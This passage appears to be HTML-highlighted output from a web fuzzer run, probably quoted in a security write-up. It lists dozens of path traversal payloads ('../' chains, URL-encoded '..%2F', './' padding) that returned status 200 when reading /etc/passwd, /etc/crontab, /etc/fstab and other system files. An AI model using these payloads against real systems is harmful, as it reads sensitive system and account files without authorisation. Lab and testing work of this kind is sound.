&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fetc&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fpasswd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 56ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/apt/sources.list [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;632&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/crontab [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1392&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/fstab [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;436&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 32ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/group [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;940&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../etc/hosts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts.deny [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;948&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 72ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts.allow [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;548&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 73ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/netconfig [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 37ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/motd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;384&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/issue [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/nsswitch.conf [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;680&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/./././././././././././etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 40ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 28ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 44ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
